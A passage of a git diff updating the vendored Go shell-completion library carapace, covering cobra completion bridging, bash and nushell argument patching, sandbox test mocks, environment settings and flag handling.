carapaceCmd.AddCommand(specCmd) + styleCmd := &cobra.Command{ Use: "style", Args: cobra.ExactArgs(1), diff --git a/vendor/github.com/rsteube/carapace/compat.go b/vendor/github.com/rsteube/carapace/compat.go index 69a02fa9a8..3568c407ab 100644 --- a/vendor/github.com/rsteube/carapace/compat.go +++ b/vendor/github.com/rsteube/carapace/compat.go @@ -2,6 +2,7 @@ package carapace import ( "fmt" + "strings" "github.com/spf13/cobra" "github.com/spf13/pflag" @@ -10,17 +11,27 @@ import ( func registerValidArgsFunction(cmd *cobra.Command) { if cmd.ValidArgsFunction == nil { cmd.ValidArgsFunction = func(cmd *cobra.Command, args []string, toComplete string) ([]string, cobra.ShellCompDirective) { - action := storage.getPositional(cmd, len(args)).Invoke(Context{Args: args, Value: toComplete}) + action := Action{}.Invoke(Context{Args: args, Value: toComplete}) // TODO just IvokedAction{} ok? + if storage.hasPositional(cmd, len(args)) { + action = storage.getPositional(cmd, len(args)).Invoke(Context{Args: args, Value: toComplete}) + } return cobraValuesFor(action), cobraDirectiveFor(action) } } } func registerFlagCompletion(cmd *cobra.Command) { - cmd.Flags().VisitAll(func(f *pflag.Flag) { + cmd.LocalFlags().VisitAll(func(f *pflag.Flag) { + if !storage.hasFlag(cmd, f.Name) { + return // skip if not defined in carapace + } + if _, ok := cmd.GetFlagCompletionFunc(f.Name); ok { + return // skip if already defined in cobra + } + err := cmd.RegisterFlagCompletionFunc(f.Name, func(cmd *cobra.Command, args []string, toComplete string) ([]string, cobra.ShellCompDirective) { a := storage.getFlag(cmd, f.Name) - action := a.Invoke(Context{Args: args, Value: toComplete}) + action := a.Invoke(Context{Args: args, Value: toComplete}) // TODO cmd might differ for persistentflags and either way args or cmd will be wrong return cobraValuesFor(action), cobraDirectiveFor(action) }) if err != nil { @@ -51,3 +62,48 @@ func cobraDirectiveFor(action InvokedAction) cobra.ShellCompDirective { } return directive } + +type compDirective cobra.ShellCompDirective + +func (d compDirective) matches(cobraDirective cobra.ShellCompDirective) bool { + return d&compDirective(cobraDirective) != 0 +} + +func (d compDirective) ToA(values ...string) Action { + var action Action + switch { + case d.matches(cobra.ShellCompDirectiveError): + return ActionMessage("an error occurred") + case d.matches(cobra.ShellCompDirectiveFilterDirs): + switch len(values) { + case 0: + action = ActionDirectories() + default: + action = ActionDirectories().Chdir(values[0]) + } + case d.matches(cobra.ShellCompDirectiveFilterFileExt): + extensions := make([]string, 0) + for _, v := range values { + extensions = append(extensions, "."+v) + } + return ActionFiles(extensions...) + case len(values) == 0 && !d.matches(cobra.ShellCompDirectiveNoFileComp): + action = ActionFiles() + default: + vals := make([]string, 0) + for _, v := range values { + if splitted := strings.SplitN(v, "\t", 2); len(splitted) == 2 { + vals = append(vals, splitted[0], splitted[1]) + } else { + vals = append(vals, splitted[0], "") + } + } + action = ActionValuesDescribed(vals...) + } + + if d.matches(cobra.ShellCompDirectiveNoSpace) { + action = action.NoSpace() + } + + return action +} diff --git a/vendor/github.com/rsteube/carapace/complete.go b/vendor/github.com/rsteube/carapace/complete.go index f23efa8f02..b13ed44603 100644 --- a/vendor/github.com/rsteube/carapace/complete.go +++ b/vendor/github.com/rsteube/carapace/complete.go @@ -1,41 +1,15 @@ package carapace import ( - "github.com/rsteube/carapace/internal/common" + "os" + "github.com/rsteube/carapace/internal/config" - "github.com/rsteube/carapace/internal/shell/library" + "github.com/rsteube/carapace/internal/shell/bash" + "github.com/rsteube/carapace/internal/shell/nushell" "github.com/rsteube/carapace/pkg/ps" - "github.com/rsteube/carapace/pkg/style" "github.com/spf13/cobra" ) -// Complete can be used by Go programs wishing to produce completions for -// themselves, without passing through shell snippets/output or export formats. -// -// The `onFinalize` function parameter, if non nil, will be called after having -// generated the completions from the given command/tree. This function is generally -// used to reset the command tree, which is needed when the Go program is a shell itself. -// Also, and before calling `onFinalize` if not nil, the completion storage is cleared. -func Complete(cmd *cobra.Command, args []string, onFinalize func()) (common.RawValues, common.Meta) { - // Generate the completion as normally done for an external system shell - initHelpCompletion(cmd) - action, context := traverse(cmd, args[2:]) - - if err := config.Load(); err != nil { - action = ActionMessage("failed to load config: " + err.Error()) - } - - if onFinalize != nil { - storage = make(_storage) - - onFinalize() - } - - invoked := action.Invoke(context) - - return library.ActionRawValues(context.Value, invoked.meta, invoked.rawValues) -} - func complete(cmd *cobra.Command, args []string) (string, error) { switch len(args) { case 0: @@ -44,46 +18,31 @@ func complete(cmd *cobra.Command, args []string) (string, error) { return Gen(cmd).Snippet(args[0]) default: initHelpCompletion(cmd) + + switch ps.DetermineShell() { + case "nushell": + args = nushell.Patch(args) // handle open quotes + LOG.Printf("patching args to %#v", args) + case "bash": // TODO what about oil and such? + LOG.Printf("COMP_LINE is %#v", os.Getenv("COMP_LINE")) + LOG.Printf("COMP_POINT is %#v", os.Getenv("COMP_POINT")) + var err error + args, err = bash.Patch(args) // handle redirects + LOG.Printf("patching args to %#v", args) + if err != nil { + context := NewContext(args...) + if _, ok := err.(bash.RedirectError); ok { + LOG.Printf("completing redirect target for %#v", args) + return ActionFiles().Invoke(context).value(args[0], args[len(args)-1]), nil + } + return ActionMessage(err.Error()).Invoke(context).value(args[0], args[len(args)-1]), nil + } + } + action, context := traverse(cmd, args[2:]) if err := config.Load(); err != nil { action = ActionMessage("failed to load config: " + err.Error()) } - return action.Invoke(context).value(args[0], args[len(args)-1]), nil } } - -func internalValues(action InvokedAction, current string, onFinalize func()) (common.RawValues, common.Meta) { - unsorted := action.rawValues - sorted := make(common.RawValues, 0) - - // Ensure values are sorted. - unsorted.EachTag(func(_ string, values common.RawValues) { - vals := make(common.RawValues, len(values)) - for index, val := range values { - if !action.meta.Nospace.Matches(val.Value) { - val.Value += " " - } - if val.Style != "" { - val.Style = style.SGR(val.Style) - } - - vals[index] = val - } - sorted = append(sorted, vals...) - }) - - // Merge/filter completions and meta stuff. - filtered := sorted.FilterPrefix(current) - filtered = action.meta.Messages.Integrate(filtered, current) - - // Reset the storage (empty all commands) and run the finalize function, which is - // generally in charge of binding new command instances, with blank flags. - if onFinalize != nil { - storage = make(_storage) - - onFinalize() - } - - return filtered, action.meta -} diff --git a/vendor/github.com/rsteube/carapace/context.go b/vendor/github.com/rsteube/carapace/context.go index 7f82d1082b..2eed94a3a2 100644 --- a/vendor/github.com/rsteube/carapace/context.go +++ b/vendor/github.com/rsteube/carapace/context.go @@ -6,13 +6,13 @@ import ( "os" "path/filepath" "strings" - "unicode" - "github.com/rsteube/carapace/internal/common" "github.com/rsteube/carapace/internal/env" "github.com/rsteube/carapace/internal/shell/zsh" + "github.com/rsteube/carapace/pkg/util" "github.com/rsteube/carapace/third_party/github.com/drone/envsubst" "github.com/rsteube/carapace/third_party/golang.org/x/sys/execabs" + "github.com/spf13/cobra" ) // Context provides information during completion. @@ -29,6 +29,7 @@ type Context struct { Dir string mockedReplies map[string]string + cmd *cobra.Command // needed for ActionCobra } // NewContext creates a new context for given arguments. @@ -47,11 +48,8 @@ func NewContext(args ...string) Context { context.Dir = wd } - isGoRun := func() bool { return strings.HasPrefix(os.Args[0], os.TempDir()+"/go-build") } - if sandbox := env.Sandbox(); sandbox != "" && isGoRun() { - var m common.Mock - _ = json.Unmarshal([]byte(sandbox), &m) - context.Dir = m.Dir + if m, err := env.Sandbox(); err == nil { + context.Dir = m.WorkDir() context.mockedReplies = m.Replies } return context @@ -115,51 +113,16 @@ func expandHome(s string) (string, error) { if err != nil { return "", err } + home = filepath.ToSlash(home) s = strings.Replace(s, "~/", home+"/", 1) } return s, nil } -func isWindowsVolume(path string) bool { - if len(path) <= 1 { - return false - } - - // We need at least two characters, - // of which the first must be a letter - // and the second as colon. - if unicode.IsLetter(rune(path[0])) && path[1] == ':' { - return true - } - - return false -} - -// windowsDisplayTrimmed returns a trimmed display folder and true if -// the context value is a Windows volume (absolute path), or nothing and false. -func windowsDisplayTrimmed(abs, cValue, displayFolder string) (string, bool) { - if !isWindowsVolume(cValue) { - return displayFolder, false - } - - // volume name such as C: => displayFolder then becomes C:. - if !strings.HasSuffix(abs, ".") { - displayFolder = strings.TrimSuffix(displayFolder, ".") - } - - // If the context value is C:/, the display folder is still C:, - // so we only add a trailing slash when the context value is C: - // or if it's C:/Us (eg. longer than the volume root with slash). - if len(cValue) == 2 || (len(displayFolder) > 3) && !strings.HasSuffix(displayFolder, "/") { - displayFolder = displayFolder + "/" - } - - return displayFolder, true -} - // Abs returns an absolute representation of path. func (c Context) Abs(path string) (string, error) { - if !strings.HasPrefix(path, "/") && !strings.HasPrefix(path, "~") && !isWindowsVolume(path) { // path is relative + path = filepath.ToSlash(path) + if !strings.HasPrefix(path, "/") && !strings.HasPrefix(path, "~") && !util.HasVolumePrefix(path) { // path is relative switch c.Dir { case "": path = "./" + path @@ -173,10 +136,14 @@ func (c Context) Abs(path string) (string, error) { return "", err } + if len(path) == 2 && util.HasVolumePrefix(path) { + path += "/" // prevent `C:` -> `C:./current/working/directory` + } result, err := filepath.Abs(path) if err != nil { return "", err } + result = filepath.ToSlash(result) if strings.HasSuffix(path, "/") && !strings.HasSuffix(result, "/") { result += "/" diff --git a/vendor/github.com/rsteube/carapace/defaultActions.go b/vendor/github.com/rsteube/carapace/defaultActions.go index 06a1df3ac3..dc7d28cf00 100644 --- a/vendor/github.com/rsteube/carapace/defaultActions.go +++ b/vendor/github.com/rsteube/carapace/defaultActions.go @@ -11,8 +11,10 @@ import ( "github.com/rsteube/carapace/internal/common" "github.com/rsteube/carapace/internal/config" + "github.com/rsteube/carapace/internal/env" "github.com/rsteube/carapace/internal/export" "github.com/rsteube/carapace/internal/man" + "github.com/rsteube/carapace/pkg/match" "github.com/rsteube/carapace/pkg/style" "github.com/rsteube/carapace/third_party/github.com/acarl005/stripansi" "github.com/spf13/cobra" @@ -24,7 +26,7 @@ func ActionCallback(callback CompletionCallback) Action { return Action{callback: callback} } -// ActionExecCommand invokes given command and transforms its output using given function on success or returns ActionMessage with the first line of stderr if available. +// ActionExecCommand executes an external command. // // carapace.ActionExecCommand("git", "remote")(func(output []byte) carapace.Action { // lines := strings.Split(string(output), "\n") @@ -64,6 +66,7 @@ func ActionExecCommandE(name string, arg ...string) func(f func(output []byte, e cmd := c.Command(name, arg...) cmd.Stdout = &stdout cmd.Stderr = &stderr + LOG.Printf("executing %#v", cmd.String()) if err := cmd.Run(); err != nil { if exitErr, ok := err.(*exec.ExitError); ok { exitErr.Stderr = stderr.Bytes() // seems this needs to be set manually due to stdout being collected? @@ -204,32 +207,58 @@ func ActionMessage(msg string, args ...interface{}) Action { if len(args) > 0 { msg = fmt.Sprintf(msg, args...) } - a := ActionValues().NoSpace() + a := ActionValues() a.meta.Messages.Add(stripansi.Strip(msg)) return a }) } -// ActionMultiParts completes multiple parts of words separately where each part is separated by some char (Context.Value is set to the currently completed part during invocation). -func ActionMultiParts(divider string, callback func(c Context) Action) Action { +// ActionMultiParts completes parts of an argument separated by sep. +func ActionMultiParts(sep string, callback func(c Context) Action) Action { + return ActionMultiPartsN(sep, -1, callback) +} + +// ActionMultiPartsN is like ActionMultiParts but limits the number of parts to `n`. +func ActionMultiPartsN(sep string, n int, callback func(c Context) Action) Action { return ActionCallback(func(c Context) Action { - index := strings.LastIndex(c.Value, string(divider)) - prefix := "" - if len(divider) == 0 { - prefix = c.Value - c.Value = "" - } else if index != -1 { - prefix = c.Value[0 : index+len(divider)] - c.Value = c.Value[index+len(divider):] // update Context.Value to only contain the currently completed part + switch n { + case 0: + return ActionMessage("invalid value for n [ActionValuesDescribed]: %v", n) + case 1: + return callback(c).Invoke(c).ToA() } - parts := strings.Split(prefix, string(divider)) - if len(parts) > 0 && len(divider) > 0 { - parts = parts[0 : len(parts)-1] + + splitted := strings.SplitN(c.Value, sep, n) + prefix := "" + c.Parts = []string{} + + switch { + case len(sep) == 0: + switch { + case n < 0: + prefix = c.Value + c.Value = "" + c.Parts = splitted + default: + prefix = c.Value + if n-1 < len(prefix) { + prefix = c.Value[:n-1] + c.Value = c.Value[n-1:] + } else { + c.Value = "" + } + c.Parts = strings.Split(prefix, "") + } + default: + if len(splitted) > 1 { + c.Value = splitted[len(splitted)-1] + c.Parts = splitted[:len(splitted)-1] + prefix = strings.Join(c.Parts, sep) + sep + } } - c.Parts = parts nospace := '*' - if runes := []rune(divider); len(runes) > 0 { + if runes := []rune(sep); len(runes) > 0 { nospace = runes[len(runes)-1] } return callback(c).Invoke(c).Prefix(prefix).ToA().NoSpace(nospace) @@ -266,7 +295,7 @@ func ActionStyleConfig() Action { }) case 1: return ActionMultiParts(",", func(c Context) Action { - return ActionStyles(c.Parts...).Invoke(c).Filter(c.Parts).ToA().NoSpace() + return ActionStyles(c.Parts...).Invoke(c).Filter(c.Parts...).ToA().NoSpace() }) default: return ActionValues() @@ -388,7 +417,7 @@ func ActionStyles(styles ...string) Action { style.Inverse, _s(style.Inverse), )) - return batch.ToA() + return batch.ToA().NoSpace('r') }).Tag("styles") } @@ -414,7 +443,7 @@ func actionDirectoryExecutables(dir string, prefix string, manDescriptions map[s if files, err := os.ReadDir(dir); err == nil { vals := make([]string, 0) for _, f := range files { - if strings.HasPrefix(f.Name(), prefix) { + if match.HasPrefix(f.Name(), prefix) { if info, err := f.Info(); err == nil && !f.IsDir() && isExecAny(info.Mode()) { vals = append(vals, f.Name(), manDescriptions[f.Name()], style.ForPath(dir+"/"+f.Name(), c)) } @@ -445,10 +474,66 @@ func ActionPositional(cmd *cobra.Command) Action { c.Args = cmd.Flags().Args() entry := storage.get(cmd) - a := entry.positionalAny + var a Action + if entry.positionalAny != nil { + a = *entry.positionalAny + } + if index := len(c.Args); index < len(entry.positional) { a = entry.positional[len(c.Args)] } return a.Invoke(c).ToA() }) } + +// ActionCommands completes (sub)commands of given command. +// `Context.Args` is used to traverse the command tree further down. Use `Action.Shift` to avoid this. +// +// carapace.Gen(helpCmd).PositionalAnyCompletion( +// carapace.ActionCommands(rootCmd), +// ) +func ActionCommands(cmd *cobra.Command) Action { + return ActionCallback(func(c Context) Action { + if len(c.Args) > 0 { + for _, subCommand := range cmd.Commands() { + for _, name := range append(subCommand.Aliases, subCommand.Name()) { + if name == c.Args[0] { // cmd.Find is too lenient + return ActionCommands(subCommand).Shift(1) + } + } + } + return ActionMessage("unknown subcommand %#v for %#v", c.Args[0], cmd.Name()) + } + + batch := Batch() + for _, subcommand := range cmd.Commands() { + if (!subcommand.Hidden || env.Hidden()) && subcommand.Deprecated == "" { + group := common.Group{Cmd: subcommand} + batch = append(batch, ActionStyledValuesDescribed(subcommand.Name(), subcommand.Short, group.Style()).Tag(group.Tag())) + for _, alias := range subcommand.Aliases { + batch = append(batch, ActionStyledValuesDescribed(alias, subcommand.Short, group.Style()).Tag(group.Tag())) + } + } + } + return batch.ToA() + }) +} + +// ActionCora bridges given cobra completion function. +func ActionCobra(f func(cmd *cobra.Command, args []string, toComplete string) ([]string, cobra.ShellCompDirective)) Action { + return ActionCallback(func(c Context) Action { + switch { + case f == nil: + return ActionValues() + case c.cmd == nil: // ensure cmd is never nil even if context does not contain one + LOG.Print("cmd is nil [ActionCobra]") + c.cmd = &cobra.Command{Use: "_carapace_actioncobra", Hidden: true, Deprecated: "dummy command for ActionCobra"} + } + + if !c.cmd.DisableFlagParsing { + c.Args = c.cmd.Flags().Args() + } + values, directive := f(c.cmd, c.Args, c.Value) + return compDirective(directive).ToA(values...) + }) +} diff --git a/vendor/github.com/rsteube/carapace/experimental.go b/vendor/github.com/rsteube/carapace/experimental.go new file mode 100644 index 0000000000..4d0645c9f1 --- /dev/null +++ b/vendor/github.com/rsteube/carapace/experimental.go @@ -0,0 +1,32 @@ +package carapace + +import ( + "encoding/json" + + "github.com/rsteube/carapace/internal/config" + "github.com/rsteube/carapace/internal/export" + "github.com/rsteube/carapace/pkg/x" + "github.com/spf13/cobra" +) + +func init() { + x.ClearStorage = func() { + storage = make(_storage) + } + + x.Complete = func(cmd *cobra.Command, args ...string) (*export.Export, error) { + initHelpCompletion(cmd) + action, context := traverse(cmd, args[2:]) + + if err := config.Load(); err != nil { + return nil, err + } + + output := action.Invoke(context).value("export", "") + var e export.Export + if err := json.Unmarshal([]byte(output), &e); err != nil { + return nil, err + } + return &e, nil + } +} diff --git a/vendor/github.com/rsteube/carapace/go.work.sum b/vendor/github.com/rsteube/carapace/go.work.sum index 46640fbe2a..8464a61119 100644 --- a/vendor/github.com/rsteube/carapace/go.work.sum +++ b/vendor/github.com/rsteube/carapace/go.work.sum @@ -1,7 +1,13 @@ +github.com/cpuguy83/go-md2man/v2 v2.0.2 h1:p1EgwI/C7NhT0JmVkwCD2ZBK8j4aeHQX2pMHHBfMQ6w= +github.com/cpuguy83/go-md2man/v2 v2.0.3/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= github.com/rsteube/carapace-pflag v0.0.4 h1:Onb0cLNLxg1xJr2EsMlBldAI5KkybrvZ89b5cRElZXI= github.com/rsteube/carapace-pflag v0.0.4/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= github.com/rsteube/carapace-pflag v0.0.5 h1:QQC0KnthHMayHsX7B7DxqOkr0B6JSIM0glB+KrSTruU= github.com/rsteube/carapace-pflag v0.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= github.com/rsteube/carapace-pflag v0.1.0 h1:CPJRlj3jbyOnxuMf5pdrM76hEwdQ0STDDmkAHQcGbhg= github.com/rsteube/carapace-pflag v0.1.0/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= -gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +github.com/rsteube/carapace-shlex v0.0.1 h1:8uvsc+ISKw7uoITSp92nNisFUOulYMz+Uu7N5nbHTiM= +github.com/rsteube/carapace-shlex v0.0.1/go.mod h1:zPw1dOFwvLPKStUy9g2BYKanI6bsQMATzDMYQQybo3o= +github.com/russross/blackfriday/v2 v2.1.0 h1:JIOH55/0cWyOuilr9/qlrm0BSXldqnqwMsf35Ld67mk= +github.com/spf13/cobra v1.8.0 h1:7aJaZx1B85qltLMc546zn58BxxfZdR/W22ej9CFoEf0= +github.com/spf13/cobra v1.8.0/go.mod h1:WXLWApfZ71AjXPya3WOlMsY9yMs7YeiHhFVlvLyhcho= diff --git a/vendor/github.com/rsteube/carapace/internal/cache/cache.go b/vendor/github.com/rsteube/carapace/internal/cache/cache.go index e90ab03bbb..02252a7995 100644 --- a/vendor/github.com/rsteube/carapace/internal/cache/cache.go +++ b/vendor/github.com/rsteube/carapace/internal/cache/cache.go @@ -11,6 +11,7 @@ import ( "strings" "time" + "github.com/rsteube/carapace/internal/env" "github.com/rsteube/carapace/internal/export" "github.com/rsteube/carapace/internal/uid" "github.com/rsteube/carapace/pkg/cache" @@ -21,7 +22,7 @@ import ( func Write(file string, e export.Export) (err error) { var m []byte if m, err = json.Marshal(e); err == nil { - err = os.WriteFile(file, m, 0o600) + err = os.WriteFile(file, m, 0600) } return } @@ -29,7 +30,7 @@ func Write(file string, e export.Export) (err error) { // Load loads values from file unless modification date exceeds timeout. func Load(file string, timeout time.Duration) (e export.Export, err error) { var stat os.FileInfo - if stat, err = os.Stat(file); os.IsNotExist(err) || (timeout > 0 && stat.ModTime().Add(timeout).Before(time.Now())) { + if stat, err = os.Stat(file); os.IsNotExist(err) || (timeout >= 0 && stat.ModTime().Add(timeout).Before(time.Now())) { err = errors.New("not exists or timeout exceeded") } else { var content []byte @@ -43,15 +44,22 @@ func Load(file string, timeout time.Duration) (e export.Export, err error) { // CacheDir creates a cache folder for current user and returns the path. func CacheDir(name string) (dir string, err error) { var userCacheDir string - if userCacheDir, err = xdg.UserCacheDir(); err == nil { - dir = fmt.Sprintf("%v/carapace/%v/%v", userCacheDir, uid.Executable(), name) - err = os.MkdirAll(dir, 0o700) + userCacheDir, err = xdg.UserCacheDir() + if err != nil { + return } + + if m, sandboxErr := env.Sandbox(); sandboxErr == nil { + userCacheDir = m.CacheDir() + } + + dir = fmt.Sprintf("%v/carapace/%v/%v", userCacheDir, uid.Executable(), name) + err = os.MkdirAll(dir, 0700) return } // File returns the cache filename for given values -// TODO cleanup. +// TODO cleanup func File(callerFile string, callerLine int, keys ...cache.Key) (file string, err error) { uid := uidKeys(callerFile, strconv.Itoa(callerLine)) ids := make([]string, 0) diff --git a/vendor/github.com/rsteube/carapace/internal/common/group.go b/vendor/github.com/rsteube/carapace/internal/common/group.go index a5230ddf95..c0bd65e024 100644 --- a/vendor/github.com/rsteube/carapace/internal/common/group.go +++ b/vendor/github.com/rsteube/carapace/internal/common/group.go @@ -1,7 +1,6 @@ package common import ( - "fmt" "strings" "github.com/rsteube/carapace/pkg/style" @@ -13,17 +12,17 @@ type Group struct { } func (g Group) Tag() string { - tag := "commands" - if id := g.Cmd.GroupID; id != "" { - if strings.HasSuffix(id, "commands") { - tag = id - } else { - tag = fmt.Sprintf("%v %v", id, tag) - } - } else if len(g.Cmd.Parent().Groups()) != 0 { - tag = "other commands" + id := strings.ToLower(g.Cmd.GroupID) + switch { + case strings.HasSuffix(id, " commands"): + return id + case id != "": + return id + " commands" + case len(g.Cmd.Parent().Groups()) != 0: + return "other commands" + default: + return "commands" } - return tag } func (g Group) Style() string { diff --git a/vendor/github.com/rsteube/carapace/internal/common/mock.go b/vendor/github.com/rsteube/carapace/internal/common/mock.go index 8ef8dd9c82..ad9edd29a8 100644 --- a/vendor/github.com/rsteube/carapace/internal/common/mock.go +++ b/vendor/github.com/rsteube/carapace/internal/common/mock.go @@ -1,6 +1,43 @@ package common +import ( + "fmt" + "os" +) + type Mock struct { Dir string Replies map[string]string } + +func (m Mock) CacheDir() string { + return m.Dir + "/cache/" +} + +func (m Mock) WorkDir() string { + return m.Dir + "/work/" +} + +type t interface { + Name() string + Fatal(...interface{}) +} + +func NewMock(t t) *Mock { + tempDir, err := os.MkdirTemp(os.TempDir(), fmt.Sprintf("carapace-sandbox_%v_", t.Name())) + if err != nil { + t.Fatal("failed to create sandbox dir: " + err.Error()) + } + + m := &Mock{ + Dir: tempDir, + Replies: make(map[string]string), + } + if err := os.Mkdir(m.CacheDir(), os.ModePerm); err != nil { + t.Fatal("failed to create sandbox cache dir: " + err.Error()) + } + if err := os.Mkdir(m.WorkDir(), os.ModePerm); err != nil { + t.Fatal("failed to create sandbox work dir: " + err.Error()) + } + return m +} diff --git a/vendor/github.com/rsteube/carapace/internal/common/suffix.go b/vendor/github.com/rsteube/carapace/internal/common/suffix.go index d4ae4b92b0..615f820e97 100644 --- a/vendor/github.com/rsteube/carapace/internal/common/suffix.go +++ b/vendor/github.com/rsteube/carapace/internal/common/suffix.go @@ -41,10 +41,6 @@ func (sm SuffixMatcher) Matches(s string) bool { return false } -func (sm SuffixMatcher) String() string { - return sm.string -} - func (sm SuffixMatcher) MarshalJSON() ([]byte, error) { return json.Marshal(sm.string) } diff --git a/vendor/github.com/rsteube/carapace/internal/common/value.go b/vendor/github.com/rsteube/carapace/internal/common/value.go index 75c88184bb..724430a364 100644 --- a/vendor/github.com/rsteube/carapace/internal/common/value.go +++ b/vendor/github.com/rsteube/carapace/internal/common/value.go @@ -5,6 +5,7 @@ import ( "sort" "strings" + "github.com/rsteube/carapace/pkg/match" "github.com/rsteube/carapace/pkg/style" ) @@ -82,6 +83,21 @@ func (r RawValues) Filter(values ...string) RawValues { return filtered } +// Retain retains given values. +func (r RawValues) Retain(values ...string) RawValues { + toretain := make(map[string]bool) + for _, v := range values { + toretain[v] = true + } + filtered := make([]RawValue, 0) + for _, rawValue := range r { + if _, ok := toretain[rawValue.Value]; ok { + filtered = append(filtered, rawValue) + } + } + return filtered +} + // Decolor clears style for all values. func (r RawValues) Decolor() RawValues { rawValues := make(RawValues, len(r)) @@ -96,7 +112,7 @@ func (r RawValues) Decolor() RawValues { func (r RawValues) FilterPrefix(prefix string) RawValues { filtered := make(RawValues, 0) for _, r := range r { - if strings.HasPrefix(r.Value, prefix) { + if match.HasPrefix(r.Value, prefix) { filtered = append(filtered, r) } } @@ -104,20 +120,18 @@ func (r RawValues) FilterPrefix(prefix string) RawValues { } func (r RawValues) EachTag(f func(tag string, values RawValues)) { - tags := make([]string, 0) tagGroups := make(map[string]RawValues) for _, val := range r { if _, exists := tagGroups[val.Tag]; !exists { tagGroups[val.Tag] = make(RawValues, 0) - tags = append(tags, val.Tag) } tagGroups[val.Tag] = append(tagGroups[val.Tag], val) } - // tags := make([]string, 0) - // for tag := range tagGroups { - // tags = append(tags, tag) - // } + tags := make([]string, 0) + for tag := range tagGroups { + tags = append(tags, tag) + } sort.Strings(tags) for _, tag := range tags { diff --git a/vendor/github.com/rsteube/carapace/internal/env/env.go b/vendor/github.com/rsteube/carapace/internal/env/env.go index 134f5ce079..8f5a62cc53 100644 --- a/vendor/github.com/rsteube/carapace/internal/env/env.go +++ b/vendor/github.com/rsteube/carapace/internal/env/env.go @@ -1,23 +1,62 @@ package env -import "os" +import ( + "encoding/json" + "errors" + "os" + "strings" + + "github.com/rsteube/carapace/internal/common" +) + +const ( + CARAPACE_COVERDIR = "CARAPACE_COVERDIR" // coverage directory for sandbox tests + CARAPACE_HIDDEN = "CARAPACE_HIDDEN" // show hidden commands/flags + CARAPACE_LENIENT = "CARAPACE_LENIENT" // allow unknown flags + CARAPACE_LOG = "CARAPACE_LOG" // enable logging + CARAPACE_MATCH = "CARAPACE_MATCH" // match case insensitive + CARAPACE_SANDBOX = "CARAPACE_SANDBOX" // mock context for sandbox tests + CARAPACE_ZSH_HASH_DIRS = "CARAPACE_ZSH_HASH_DIRS" // zsh hash directories + CLICOLOR = "CLICOLOR" // disable color + NO_COLOR = "NO_COLOR" // disable color +) func ColorDisabled() bool { - return os.Getenv("NO_COLOR") != "" || os.Getenv("CLICOLOR") == "0" + return os.Getenv(NO_COLOR) != "" || os.Getenv(CLICOLOR) == "0" } func Lenient() bool { - return os.Getenv("CARAPACE_LENIENT") != "" + return os.Getenv(CARAPACE_LENIENT) != "" } func Hashdirs() string { - return os.Getenv("CARAPACE_ZSH_HASH_DIRS") + return os.Getenv(CARAPACE_ZSH_HASH_DIRS) } -func Sandbox() string { - return os.Getenv("CARAPACE_SANDBOX") +func Sandbox() (m *common.Mock, err error) { + sandbox := os.Getenv(CARAPACE_SANDBOX) + if sandbox == "" || !isGoRun() { + return nil, errors.New("no sandbox") + } + + err = json.Unmarshal([]byte(sandbox), &m) + return } func Log() bool { - return os.Getenv("CARAPACE_LOG") != "" + return os.Getenv(CARAPACE_LOG) != "" +} + +func Hidden() bool { + return os.Getenv(CARAPACE_HIDDEN) != "" +} + +func CoverDir() string { + return os.Getenv(CARAPACE_COVERDIR) // custom env for GOCOVERDIR so that it works together with `-coverprofile` +} + +func isGoRun() bool { return strings.HasPrefix(os.Args[0], os.TempDir()+"/go-build") } + +func Match() string { // see match.Match + return os.Getenv(CARAPACE_MATCH) } diff --git a/vendor/github.com/rsteube/carapace/internal/pflagfork/flag.go b/vendor/github.com/rsteube/carapace/internal/pflagfork/flag.go index 1fb3ff5fbd..79465df79c 100644 --- a/vendor/github.com/rsteube/carapace/internal/pflagfork/flag.go +++ b/vendor/github.com/rsteube/carapace/internal/pflagfork/flag.go @@ -6,6 +6,7 @@ import ( "strings" "github.com/rsteube/carapace/pkg/style" + "github.com/spf13/cobra" "github.com/spf13/pflag" ) @@ -20,6 +21,8 @@ const ( type Flag struct { *pflag.Flag + Prefix string + Args []string } func (f Flag) Nargs() int { @@ -52,53 +55,6 @@ func (f Flag) IsRepeatable() bool { return false } -func (f Flag) Split(arg string) (prefix, optarg string) { - delimiter := string(f.OptargDelimiter()) - splitted := strings.SplitN(arg, delimiter, 2) - return splitted[0] + delimiter, splitted[1] -} - -func (f Flag) Matches(arg string, posix bool) bool { - if !strings.HasPrefix(arg, "-") { // not a flag - return false - } - - switch { - - case strings.HasPrefix(arg, "--"): - name := strings.TrimPrefix(arg, "--") - name = strings.SplitN(name, string(f.OptargDelimiter()), 2)[0] - - switch f.Mode() { - case ShorthandOnly, NameAsShorthand: - return false - default: - return name == f.Name - } - - case !posix: - name := strings.TrimPrefix(arg, "-") - name = strings.SplitN(name, string(f.OptargDelimiter()), 2)[0] - - if name == "" { - return false - } - - switch f.Mode() { - case ShorthandOnly: - return name == f.Shorthand - default: - return name == f.Name || name == f.Shorthand - } - - default: - if f.Shorthand != "" { - return strings.HasSuffix(arg, f.Shorthand) - } - return false - } -} - func (f Flag) TakesValue() bool { switch f.Value.Type() { case "bool", "boolSlice", "count": @@ -125,6 +81,13 @@ func (f Flag) Style() string { } } +func (f Flag) Required() bool { + if annotation := f.Annotations[cobra.BashCompOneRequiredFlag]; len(annotation) == 1 && annotation[0] == "true" { + return true + } + return false +} + func (f Flag) Definition() string { var definition string switch f.Mode() { @@ -141,6 +104,14 @@ func (f Flag) Definition() string { } } + if f.Hidden { + definition += "&" + } + + if f.Required() { + definition += "!" + } + if f.IsRepeatable() { definition += "*" } @@ -158,3 +129,22 @@ func (f Flag) Definition() string { return definition } + +func (f Flag) Consumes(arg string) bool { + switch { + case f.Flag == nil: + return false + case !f.TakesValue(): + return false + case f.IsOptarg(): + return false + case len(f.Args) == 0: + return true + case f.Nargs() > 1 && len(f.Args) < f.Nargs(): + return true + case f.Nargs() < 0 && !strings.HasPrefix(arg, "-"): + return true + default: + return false + } +} diff --git a/vendor/github.com/rsteube/carapace/internal/pflagfork/flagset.go b/vendor/github.com/rsteube/carapace/internal/pflagfork/flagset.go index 53b3aaecd5..17077ebf07 100644 --- a/vendor/github.com/rsteube/carapace/internal/pflagfork/flagset.go +++ 